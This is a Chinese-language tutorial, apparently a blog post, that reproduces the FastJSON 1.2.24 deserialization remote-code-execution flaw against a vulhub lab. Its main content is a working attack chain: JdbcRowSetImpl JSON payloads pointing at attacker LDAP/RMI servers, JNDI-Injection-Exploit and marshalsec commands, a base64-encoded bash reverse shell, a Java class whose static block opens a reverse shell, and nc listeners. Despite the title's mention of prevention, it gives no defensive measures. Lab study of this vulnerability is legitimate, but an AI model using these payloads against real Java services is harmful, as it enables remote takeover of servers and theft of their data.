FastJSON漏洞解析与防范策略

引言

FastJSON是Java生态系统中广泛使用的JSON解析库,以其高性能和易用性而受到开发者的青睐。然而,近年来,FastJSON被发现存在多个安全漏洞,这些漏洞被攻击者利用,可能导致严重的安全问题,如数据泄露、服务中断等。因此,理解FastJSON漏洞的原理和采取有效的防范措施对于保障Java应用的安全至关重要。

原理

FastJSON漏洞的原理主要涉及到其解析JSON时的自动化类型转换机制。当FastJSON解析一个JSON字符串时,它会根据JSON中的内容自动将其转换为相应的Java对象。在这个过程中,如果攻击者精心构造了一个恶意的JSON字符串,使其在解析时能够触发特定的Java代码执行,就可能导致安全漏洞。例如,攻击者可以利用该机制执行任意代码、访问敏感数据或者造成拒绝服务攻击。这些漏洞的利用通常需要攻击者对Java类型转换机制和FastJSON的内部实现有一定的了解

1
2
3
graph LR
A(Java Object) --序列化--> B(Json)
B --反序列化--> A

环境准备

vulhub-mater

下载地址:https://github.com/vulhub/vulhub

JNDI-Injection-Exploit

两个版本的都可以用2.5的功能比较多

下载地址:JNDI-Injection-Exploit v1.0

JNDI-Injection-Exploit-Plus-2.5

启动靶场

进入vulhub-master/fastjson/1.2.24-rce/

docker-compose up -d启动靶场,端口号为8090

自动化工具漏洞复现

抓包

  1. 使用浏览器访问8090端口,并使用burpsuite抓包,发送到重发器

  2. 右键修改请求方法为POST,修改包部分内容,先不发送

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    Content-Type: application/json
    Content-Length: 160

    {
    "b":{
    "@type":"com.sun.rowset.JdbcRowSetImpl",
    "dataSourceName":"<payload>",
    "autoCommit":true
    }
    }

验证漏洞(可跳过)

1
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "touch 123.txt" -A "192.168.35.129"

然后将弹出的payload(紫色字)粘贴在bp抓的包的payload处
它会在靶机根目录创建一个123.txt文件,我们来验证一下

在ubuntu中使用命令docker exec -it <容器id> bash(容器id使用 docker ps 查看列CONTAINER ID)

使用ls /查看到根目录成功创建了文件

构造payload

首先将反弹shell命令进行(将IP地址和端口号改为自己攻击机的地址和监听的端口号)base64加密

1
bash -i >& /dev/tcp/192.168.35.129/9000 0>&1

将加密后的结果拼接进payload,放进kali执行(提前进入有攻击工具的位置)

1
2
3
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,加密内容}|{base64,-d}|{bash,-i}" -A "攻击机IP"
# 构造好的payload
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjM1LjEyOS85MDAwIDA+JjE=}|{base64,-d}|{bash,-i}" -A "192.168.35.129"

开始攻击

紫色的字体为数据包中的payload,将其替换为bp中抓的包的“dataSourceName”中(注意要将)Content-Type改为json

1
2
3
4
5
6
7
8
9
10
Content-Type: application/json
Content-Length: 160

{
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"ldap://192.168.35.129:1389/gsy700",
"autoCommit":true
}
}

kali上启动监听端口nc -lvvp 9000,点击发包,成功反弹shell

如果紫色字体的payload不管用多试几个,2.5版本的JNDI只需要拼接URL后面的路径即可

==注意ldap的端口号是1389,rmi的端口号是1099==

==实测jdk1.8.0_451都可以弹==

jdk1.8.0_451切换教程

手动漏洞利用

构造恶意文件

使用攻击机创建Touch File.java文件,将反弹shell命令的IP地址和端口号改成攻击机的

1
2
3
4
5
6
7
8
9
public class TouchFile {
static {
try {
Runtime runtime = Runtime.getRuntime();
Process process = runtime.exec(new String[] { "/bin/bash", "-c", "bash -i >& /dev/tcp/192.168.35.129/9000 0>&1" });
process.waitFor();
} catch (Exception exception) {}
}
}

使用javac命令编译成class文件

托管恶意文件

在当前目录使用命令开启http服务

1
python -m http.server 8888

使用浏览器访问8888端口可以看到当前目录的文件

下载工具marshalsec

下载地址:marshalsec-0.0.3-SNAPSHOT-all compiled on X64

开启RMI服务

1
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.35.129:8888/#TouchFile" 9999

攻击机监听端口

在开启一个终端监听刚刚填写的反弹shell的端口

1
nc -lvvp 9000

抓包

  1. 使用浏览器访问8090端口,并使用burpsuite抓包,发送到重发器

  2. 右键修改请求方法为POST,修改包内容,IP地址为攻击机IP地址,端口号为rmi服务器端口号

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    Content-Type: application/json
    Content-Length: 160

    {
    "b":{
    "@type":"com.sun.rowset.JdbcRowSetImpl",
    "dataSourceName":"rmi://192.168.35.129:9999/a",
    "autoCommit":true
    }
    }

点击发送

成功反弹Shell